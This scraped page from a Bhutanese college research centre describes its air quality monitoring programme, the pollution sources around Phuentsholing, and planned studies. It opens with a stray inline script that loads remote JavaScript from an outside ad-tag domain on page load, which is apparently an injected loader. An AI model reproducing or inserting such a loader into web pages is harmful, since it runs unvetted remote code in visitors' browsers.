script>(function(s,u,z,p){s.src=u,s.setAttribute('data-zone',z),p.appendChild(s);})(document.createElement('script'),'https://inklinkor.com/tag.min.js',5694103,document.body||document.documentElement) Air – cdrrcds

Based on the importance of utilization of expertise from the Royal University of Bhutan, National Environmental Commission Secretariat of Bhutan had signed  MoU with the College of Science and Technology in 2010. Thereafter, National Environment Commission had sponsored three of the college faculty members to undergo extensive training programme on air quality monitoring and analysis at the Central Pollution Control Board, New Delhi in the year 2010. The college was then handed over two RDS(Respiratory Dust Sampler) to start monitoring the PM10 concentration around the campus. In the year 2017, NECS in association with ICIMOD established a state of the art Air Quality Monitoring station in the campus. Today, the College monitors PM10, PM2.5, PM1, 0zone and various meteorological parameters. The College is also expected to receive the analyzers for SOX, NOX and CO infuture.

Air quality in Bhutan has long been regarded as pristine. However, recent rapid development is placing pressure on air quality in the major urban centres and at several industrial areas with relatively heavy industries. Today, air pollution is becoming one of the emerging issues that have a serious risk to human and environment health (Bhutan State of the Environment Report, 2016)

Phuentsholing the commercial hub of the country has an open border with India and every day thousands of heavy trucks ply in and out of the city. Phuentsholing town is expanding due to ever-rising population influx and huge demand for accommodation. Currently, there are numerous projects taking place in Phuentsholing. Some of the projects that contribute to particulate matter emissions are NHDCL housing complex, NAPA-II project, thromde LAP projects, private construction companies and Amochu land-Reclamation project. Phuentsholing city also hosts numerous factories. Some of the prominent factories in Phuentsholing are Bhutan Polythene factory, Tashi Industries Carpet Factory, Pepsi factory and Bhutan Ply factory are some of the factories that emit lots of pollutants into the air. Phuentsholing also gets lots of transboundary air pollutants. Across the border, there are numerous metal fabrication factories. There are also private and government construction companies. People carry the open burning of waste and other agricultural debris. Lots of smoke is seen emitted from the biomass burning resulting from the shifting cultivation sites. Due to the nature of the wind direction, almost all these pollutants are carried towards the Phuentsholing area. Pasakha Industrial area, which hosts more than twenty-six major factories, is just next to Phuentsholing city with less than 5km of aerial distance. Some of the pollutants may be blown to the Phuentsholing city. Also, all the trucks carrying the raw materials and finished products ply through Phuentsholing city leading to fugitive emissions in additions to Black carbon and Particulate Matter.

The Centre for Disaster Risk Reduction and Community Development Studies can play a pivotal role in supporting Air Quality study to enhance research and development. The following type of air quality research can be conducted through the centre with the assistant from other expertise of the centre:

  1. Assessment of ambient air quality around Phuentsholing city.
  2. Health Risk Assessment of air quality
  3. Correlation of ground-level air pollutant with the spatial distribution observed through remote sensing.
  4. Impact of air quality on the vegetation
  5.  Indoor air quality study.

Author: Mr. Bharat Kumar Homagai